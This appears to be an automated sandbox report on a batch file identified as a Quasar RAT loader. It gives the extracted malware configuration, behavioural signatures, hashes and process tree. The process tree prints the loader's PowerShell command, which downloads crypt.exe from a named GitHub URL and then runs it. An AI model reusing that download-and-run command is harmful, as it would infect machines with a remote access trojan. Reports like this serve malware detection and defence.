Analysis

  • user interaction
    yes
  • max time kernel
    58s
  • max time network
    62s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/08/2026, 03:10

General

  • Target
    actualratlocalhost.bat
  • Size 276B
  • Sample260820-dpbnfabb63
  • SHA256 013cba85c0eabdd038bccf32e7aac9eb59322ee115a32a1f594fd9776466bc7d
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • quasar

Attributes
  • encryption_key

    F3752C59B2D3B587D1C5FB8FB57F0225554558A4

  • key_salt

    5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382

  • reconnect_delay

    3000

Signatures

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Suspicious use of SetThreadContext 3 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\taskhostw.exe
    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of AdjustPrivilegeToken
    PID:1224
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\actualratlocalhost.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ndoug2081-stack/ndoug2081-stack/raw/refs/heads/main/crypt.exe' -OutFile 'C:\ProgramData\crypt.exe'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3696
    • C:\ProgramData\crypt.exe
      "C:\ProgramData\crypt.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:3940

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        crypt.exe

        • Path C:\ProgramData\crypt.exe
        • Size 2.2MB
        • SHA256 6a586c3a907c55524d3652fd97615088212f657f3c84c428c24a05d36c9a6e5d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_nriqfdly.kaq.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nriqfdly.kaq.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        ke050B85E0.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\ke050B85E0.tmp
        • Size 8KB
        • SHA256 2fdb8312a48e7f7594022c53bcc85f53964fbd7f1553bf2da74d7efade172819
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1224-32-0x0000018C4E200000-0x0000018C4E234000-memory.dmp

        memory/1224-30-0x0000018C66D30000-0x0000018C66E24000-memory.dmp

        memory/1224-35-0x0000018C66B20000-0x0000018C66B30000-memory.dmp

        memory/1224-34-0x0000018C66B20000-0x0000018C66B30000-memory.dmp

        memory/1224-33-0x0000018C4E480000-0x0000018C4E4B8000-memory.dmp

        memory/1224-31-0x0000018C66B20000-0x0000018C66B30000-memory.dmp

        memory/1224-36-0x0000018C66B20000-0x0000018C66B30000-memory.dmp

        memory/1224-29-0x0000018C66B20000-0x0000018C66B30000-memory.dmp

        memory/1224-25-0x0000000140000000-0x0000000140002000-memory.dmp

        memory/1224-26-0x0000018C4DF70000-0x0000018C4E06A000-memory.dmp

        memory/1224-27-0x0000018C4DF70000-0x0000018C4E06A000-memory.dmp

        memory/1224-37-0x0000018C66B20000-0x0000018C66B30000-memory.dmp

        memory/3696-0-0x0000027689040000-0x0000027689050000-memory.dmp

        memory/3696-11-0x0000027689040000-0x0000027689050000-memory.dmp

        memory/3696-9-0x00000276A3780000-0x00000276A37A2000-memory.dmp

        memory/3696-1-0x0000027689040000-0x0000027689050000-memory.dmp

        memory/3696-17-0x00000276A37B0000-0x00000276A39CC000-memory.dmp

        memory/3696-12-0x00000276A37B0000-0x00000276A39CC000-memory.dmp

        memory/3696-10-0x0000027689040000-0x0000027689050000-memory.dmp

        memory/3940-21-0x0000024459D50000-0x0000024459D51000-memory.dmp

        memory/3940-28-0x00007FF6B5990000-0x00007FF6B59A1000-memory.dmp